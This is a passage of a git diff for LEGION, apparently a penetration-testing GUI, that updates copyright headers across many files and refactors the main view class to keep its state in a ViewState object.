"s/self.update = '.*?'/self.update = \'`date '+%m\/%d\/%Y'\'`/g" ./app/ApplicationInfo.py -sed -i -r "s/self.build = '.*?'/self.build = \'`date '+%s'\'`/g" ./app/ApplicationInfo.py +sed -i -r "s/update\": .*?/update\": '`date '+%m\/%d\/%Y'`'/g" ./app/ApplicationInfo.py +sed -i -r "s/build\": .*?/build\": '`date '+%s'`'/g" ./app/ApplicationInfo.py # Clear logs diff --git a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py index 60c5a951..3b1a6da8 100644 --- a/tests/app/actions/updateProgress/test_UpdateProgressObservable.py +++ b/tests/app/actions/updateProgress/test_UpdateProgressObservable.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/http/test_isHttps.py b/tests/app/http/test_isHttps.py index 0e5b4fe1..43e78d84 100644 --- a/tests/app/http/test_isHttps.py +++ b/tests/app/http/test_isHttps.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/shell/test_DefaultShell.py b/tests/app/shell/test_DefaultShell.py index 82b715e5..d210e940 100644 --- a/tests/app/shell/test_DefaultShell.py +++ b/tests/app/shell/test_DefaultShell.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/test_ModelHelpers.py b/tests/app/test_ModelHelpers.py index a2e956d0..4580c3a0 100644 --- a/tests/app/test_ModelHelpers.py +++ b/tests/app/test_ModelHelpers.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public diff --git a/tests/app/test_ProjectManager.py b/tests/app/test_ProjectManager.py index c45f041e..912a7b37 100644 --- a/tests/app/test_ProjectManager.py +++ b/tests/app/test_ProjectManager.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/test_Timing.py b/tests/app/test_Timing.py index 48352b10..079b857d 100644 --- a/tests/app/test_Timing.py +++ b/tests/app/test_Timing.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py index aeb71cde..7c39b750 100644 --- a/tests/app/tools/nmap/test_DefaultNmapExporter.py +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/tools/nmap/test_NmapHelpers.py b/tests/app/tools/nmap/test_NmapHelpers.py index c8d7f894..c82b0204 100644 --- a/tests/app/tools/nmap/test_NmapHelpers.py +++ b/tests/app/tools/nmap/test_NmapHelpers.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/app/tools/test_ToolCoordinator.py b/tests/app/tools/test_ToolCoordinator.py index adcc7897..cd5b7ae6 100644 --- a/tests/app/tools/test_ToolCoordinator.py +++ b/tests/app/tools/test_ToolCoordinator.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py index 2a96cc89..2709665e 100644 --- a/tests/db/repositories/test_CVERepository.py +++ b/tests/db/repositories/test_CVERepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index 1ec54a64..e0e8f3f3 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py index c5400079..1ccd078a 100644 --- a/tests/db/repositories/test_NoteRepository.py +++ b/tests/db/repositories/test_NoteRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py index 6bccc0ea..66aed2f4 100644 --- a/tests/db/repositories/test_PortRepository.py +++ b/tests/db/repositories/test_PortRepository.py @@ -1,5 +1,5 @@ """ -LEGION (https://govanguard.io) +LEGION (https://govanguard.com) Copyright (c) 2018-2019 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 25cc79f4..df2f3ef7 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index 11fc9ce0..a97ae2f1 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/test_filters.py b/tests/db/test_filters.py index 7565a99e..454102f9 100644 --- a/tests/db/test_filters.py +++ b/tests/db/test_filters.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/db/test_validation.py b/tests/db/test_validation.py index 49e854da..d2391eec 100644 --- a/tests/db/test_validation.py +++ b/tests/db/test_validation.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/ui/observers/test_QtUpdateProgressObserver.py b/tests/ui/observers/test_QtUpdateProgressObserver.py index 766ee98d..57152726 100644 --- a/tests/ui/observers/test_QtUpdateProgressObserver.py +++ b/tests/ui/observers/test_QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/tests/ui/test_eventfilter.py b/tests/ui/test_eventfilter.py index 65887d48..00a6a022 100644 --- a/tests/ui/test_eventfilter.py +++ b/tests/ui/test_eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ViewHeaders.py b/ui/ViewHeaders.py index 0db4ef6c..14d95124 100644 --- a/ui/ViewHeaders.py +++ b/ui/ViewHeaders.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ViewState.py b/ui/ViewState.py index ab7a49a5..d1620705 100644 --- a/ui/ViewState.py +++ b/ui/ViewState.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index c9282b3f..f54130d6 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index da7beb6c..f276dd6e 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/configDialog.py b/ui/configDialog.py index abaa6dc1..93ce8e0c 100644 --- a/ui/configDialog.py +++ b/ui/configDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/dialogs.py b/ui/dialogs.py index efd106d9..2bac8bbf 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,8 +1,8 @@ #!/usr/bin/env python ''' -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. diff --git a/ui/eventfilter.py b/ui/eventfilter.py index 4e2871d4..49e33059 100644 --- a/ui/eventfilter.py +++ b/ui/eventfilter.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/gui.py b/ui/gui.py index 085d9e2f..060e0b50 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2018 GoVanguard +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/helpDialog.py b/ui/helpDialog.py index bda0a37b..7493bee5 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py index fb62ea9d..cedb4639 100644 --- a/ui/observers/QtUpdateProgressObserver.py +++ b/ui/observers/QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index d2aa5c44..57083d98 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/view.py b/ui/view.py index 1ebc2fa8..f3f07d69 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1,23 +1,31 @@ #!/usr/bin/env python -''' -LEGION (https://govanguard.io) -Copyright (c) 2018 GoVanguard +""" +LEGION (https://govanguard.com) +Copyright (c) 2020 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" -import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex +import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex from PyQt5.QtCore import * # for filters dialog from PyQt5 import QtCore from PyQt5 import QtWidgets, QtGui, QtCore +from app.ApplicationInfo import applicationInfo, getVersion from app.shell.Shell import Shell +from app.timing import getTimestamp +from ui.ViewState import ViewState from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * @@ -39,33 +47,40 @@ class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar - def __init__(self, ui, ui_mainwindow, shell: Shell): + def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): QtCore.QObject.__init__(self) self.ui = ui - self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings self.bottomWindowSize = 100 self.leftPanelSize = 300 - self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel + self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel self.qss = None self.processesTableViewSort = 'desc' self.processesTableViewSortColumn = 'status' self.toolsTableViewSort = 'desc' self.toolsTableViewSortColumn = 'id' self.shell = shell + self.viewState = viewState - def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions + # the view needs access to controller methods to link gui actions with real actions + def setController(self, controller): self.controller = controller def startOnce(self): - self.fixedTabsCount = self.ui.ServicesTabWidget.count() # the number of fixed host tabs (services, scripts, information, notes) + # the number of fixed host tabs (services, scripts, information, notes) + self.fixedTabsCount = self.ui.ServicesTabWidget.count() self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) self.filterdialog = FiltersDialog(self.ui.centralwidget) self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.shell, self.ui.centralwidget) - self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) + self.helpDialog = HelpDialog(applicationInfo["name"], applicationInfo["author"], applicationInfo["copyright"], + applicationInfo["links"], applicationInfo["emails"], applicationInfo["version"], + applicationInfo["build"], applicationInfo["update"], applicationInfo["license"], + applicationInfo["desc"], applicationInfo["smallIcon"], applicationInfo["bigIcon"], + qss = self.qss, parent = self.ui.centralwidget) self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(3) @@ -77,26 +92,10 @@ def startOnce(self): # initialisations (globals, etc) def start(self, title='*untitled'): - self.dirty = False # to know if the project has been saved - self.firstSave = True # to know if we should use the save as dialog (should probably be False until we add/import a host) - self.hostTabs = dict() # to keep track of which tabs should be displayed for each host - self.bruteTabCount = 1 # to keep track of the numbering of the bruteforce tabs (incremented when a new tab is added) - - self.filters = Filters() # to choose what to display in each panel - + self.viewState = ViewState() self.ui.keywordTextInput.setText('') # clear keyword filter - self.lastHostIdClicked = '' # TODO: check if we can get rid of this one. - self.ip_clicked = '' # useful when updating interfaces (serves as memory) - self.service_clicked = '' # useful when updating interfaces (serves as memory) - self.tool_clicked = '' # useful when updating interfaces (serves as memory) - self.script_clicked = '' # useful when updating interfaces (serves as memory) - self.tool_host_clicked = '' # useful when updating interfaces (serves as memory) - self.lazy_update_hosts = False # these variables indicate that the corresponding table needs to be updated. - self.lazy_update_services = False # 'lazy' means we only update a table at the last possible minute - before the user needs to see it - self.lazy_update_tools = False - self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) - self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + self.ProcessesTableModel = None # fixes bug when sorting processes for the first time self.ToolsTableModel = None self.setupProcessesTableView() self.setupToolsTableView() @@ -107,7 +106,7 @@ def start(self, title='*untitled'): self.initTables() # initialise all tables self.updateInterface() - self.restoreToolTabWidget(True) # True means we want to show the original textedit + self.restoreToolTabWidget(True) # True means we want to show the original textedit self.updateScriptsOutputView('') # update the script output panel (right) self.updateToolHostsTableView('') self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default @@ -116,7 +115,7 @@ def start(self, title='*untitled'): self.ui.BottomTabWidget.setCurrentIndex(0) # display Log tab by default self.ui.BruteTabWidget.setTabsClosable(True) # sets all tabs as closable in bruteforcer - self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs + self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) @@ -124,12 +123,13 @@ def start(self, title='*untitled'): self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) self.ui.ServicesTabWidget.tabBar().setTabButton(4, QTabBar.RightSide, None) - self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab + self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab self.displayToolPanel(False) self.displayScreenshots(False) - self.displayAddHostsOverlay(True) # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + self.displayAddHostsOverlay(True) - def startConnections(self): # signal initialisations (signals/slots, actions, etc) + def startConnections(self): # signal initialisations (signals/slots, actions, etc) ### MENU ACTIONS ### self.connectCreateNewProject() self.connectOpenExistingProject() @@ -152,7 +152,7 @@ def startConnections(self): # signal ini self.connectAddHostClick() self.connectSwitchTabClick() # to detect changing tabs (on left panel) self.connectSwitchMainTabClick() # to detect changing top level tabs - self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) self.connectProcessTableHeaderResize() ### CONTEXT MENUS ### self.connectHostsTableContextMenu() @@ -175,10 +175,12 @@ def startConnections(self): # signal ini #################### AUXILIARY #################### - def initTables(self): # this function prepares the default settings for each table + def initTables(self): # this function prepares the default settings for each table # hosts table (left) - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) @@ -186,20 +188,24 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + headers = ["CVE Id", "Severity", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] setTableProperties(self.ui.CvesTableView, len(headers)) self.ui.CvesTableView.setSortingEnabled(True) # tools table (left) - headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", + "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolsTableView, len(headers), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # service table (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP @@ -208,12 +214,14 @@ def initTables(self): # this funct setTableProperties(self.ui.ScriptsTableView, len(headers), [0, 3]) # tool hosts table (right) - headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", + "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ToolHostsTableView, len(headers), [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12]) self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column # process table - headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) @@ -221,21 +229,24 @@ def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) def yesNoDialog(self, message, title): - dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, + QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, + QtWidgets.QMessageBox.No) return dialog - def setDirty(self, status=True): # this function is called for example when the user edits notes - self.dirty = status + def setDirty(self, status=True): # this function is called for example when the user edits notes + self.viewState.dirty = status title = '' - if self.dirty: + if self.viewState.dirty: title = '*' if self.controller.isTempProject(): title += 'untitled' else: title += ntpath.basename(str(self.controller.getProjectName())) - self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) + self.setMainWindowTitle(applicationInfo["name"] + ' ' + getVersion() + ' - ' + title + ' - ' + + self.controller.getCWD()) #################### ACTIONS #################### @@ -252,7 +263,8 @@ def saveProcessHeaderWidth(self, index, oldSize, newSize): def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: - message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" + message = "There are still processes running. If you continue, every process will be terminated. " + \ + "Are you sure you want to continue?" reply = self.yesNoDialog(message, 'Confirm') if not reply == QtWidgets.QMessageBox.Yes: @@ -264,8 +276,9 @@ def dealWithRunningProcesses(self, exiting=False): return True - def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting - if self.dirty: # if there are unsaved changes, show save dialog first + # returns True if we can proceed with: creating/opening a project or exiting + def dealWithCurrentProject(self, exiting=False): + if self.viewState.dirty: # if there are unsaved changes, show save dialog first if not self.saveOrDiscard(): # if the user canceled, stop return False @@ -296,12 +309,16 @@ def connectOpenExistingProject(self): def openExistingProject(self): if self.dealWithCurrentProject(): - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] + filename = QtWidgets.QFileDialog.getOpenFileName( + self.ui.centralwidget, 'Open project', self.controller.getCWD(), + filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): log.info('Insufficient permissions to open this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") + QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions on this file.", + "Ok") return if '.legion' in str(filename): @@ -310,8 +327,9 @@ def openExistingProject(self): projectType = 'sparta' self.controller.openExistingProject(filename, projectType) - self.firstSave = False # overwrite this variable because we are opening an existing file - self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated + self.viewState.firstSave = False # overwrite this variable because we are opening an existing file + # do not show the overlay because the hosttableview is already populated + self.displayAddHostsOverlay(False) else: log.info('No file chosen..') @@ -320,11 +338,11 @@ def connectSaveProject(self): def saveProject(self): self.ui.statusbar.showMessage('Saving..') - if self.firstSave: + if self.viewState.firstSave: self.saveProjectAs() else: log.info('Saving project..') - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) @@ -337,14 +355,18 @@ def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') log.info('Saving project..') - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', 